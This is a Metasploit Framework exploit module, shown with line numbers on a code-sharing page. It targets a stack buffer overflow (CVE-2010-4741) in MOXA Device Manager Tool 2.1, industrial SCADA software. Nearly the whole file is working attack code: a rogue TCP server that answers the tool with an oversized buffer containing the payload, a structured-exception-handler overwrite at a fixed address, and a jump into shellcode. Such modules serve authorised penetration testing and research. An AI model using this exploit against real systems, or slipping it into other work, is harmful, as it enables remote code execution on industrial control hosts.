Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/moxa_mdmtool.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
19
When sending a specially crafted MDMGw (MDM2_Gateway) response, an
20
attacker may be able to execute arbitrary code.
21
},
22
'Author' => [ 'Ruben Santamarta', 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2010-4741'],
26
[ 'OSVDB', '69027'],
27
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
28
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-301-01A' ]
29
],
30
'DefaultOptions' => {
31
'EXITFUNC' => 'thread',
32
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
33
},
34
'Payload' => {
35
'Space' => 600,
36
'BadChars' => "\x00\x0a\x0d\x20",
37
'StackAdjustment' => -3500
38
},
39
'Platform' => 'win',
40
'Targets' => [
41
[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
42
],
43
'Privileged' => false,
44
'DisclosureDate' => '2010-10-20',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
57
]
58
)
59
end
60
61
def on_client_connect(client)
62
return if ((p = regenerate_payload(client)) == nil)
63
64
client.get_once
65
66
sploit = rand_text_alpha_upper(18024)
67
68
sploit[0, 4] = [0x29001028].pack('V')
69
sploit[472, payload.encoded.length] = payload.encoded
70
sploit[1072, 8] = generate_seh_record(target.ret)
71
sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string
72
73
client.put(sploit)
74
75
handler(client)
76
77
service.close_client(client)
78
end
79
end
80
81